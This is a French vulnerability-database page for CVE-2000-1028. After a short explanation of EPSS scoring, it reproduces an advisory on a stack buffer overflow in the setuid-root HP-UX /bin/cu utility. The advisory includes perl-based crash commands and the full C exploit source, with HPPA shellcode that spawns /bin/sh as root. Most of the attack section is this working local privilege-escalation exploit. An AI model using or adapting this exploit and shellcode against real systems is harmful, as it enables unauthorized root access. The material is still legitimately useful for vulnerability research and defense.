CVE-2000-1028 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/1886/info cu is a unix utility that is used for communication between two hosts (usually over phone lines). It is typically isntalled setuid root so that it can access communications hardware when executed by a regular user. The version of cu that ships with HP-UX is vulnerable to a buffer overflow attack that may result in an escalation of privileges if exploited properly. The argument to the -l option (the line) is handled in an unsafe manner and if the length of it exceeds 9777 bytes, it will corrupt vital stack variables. This may result in shellcode provided by the user being executed with the privileges of the process (euid 0). $ ls -la `which cu` -r-sr-xr-x 1 bin 40960 9 avr 1998 /bin/cu Using '-l' with a long option string: $ cu -l `perl -e 'printf "A" x 9777'` La connexion a chou : Requested device/system name not known $ cu -l `perl -e 'printf "A" x 9778'` Memory fault

/* * Copyright (c) 2001 Zorgon * All Rights Reserved * The copyright notice above does not evidence any * actual or intended publication of such source code. * * HP-UX /bin/cu exploit. * Tested on HP-UX 11.00 * zorgon@antionline.org (http://www.nightbird.free.fr) * */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define LEN 9778 #define HPPA_NOP 0x0b390280 #define RET 0x7f7eb010 #define OFFSET 1200 /* it works for me */ u_char hppa_shellcode[] = /* K2 <ktwo@ktwo.ca> shellcode */ "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff"; int main(int argc , char **argv){ char buffer[LEN+8]; int i; long retaddr = RET; int offset = OFFSET; if(argc>1) offset = atoi(argv[1]); for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr + offset; for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++) *(buffer+i) = HPPA_NOP; memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode)); fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n"); fprintf(stderr, "Copyright (c) 2001 Zorgon\n"); fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer)); execl("/bin/cu","cu","-l",buffer,0); } // milw0rm.com [2001-01-13]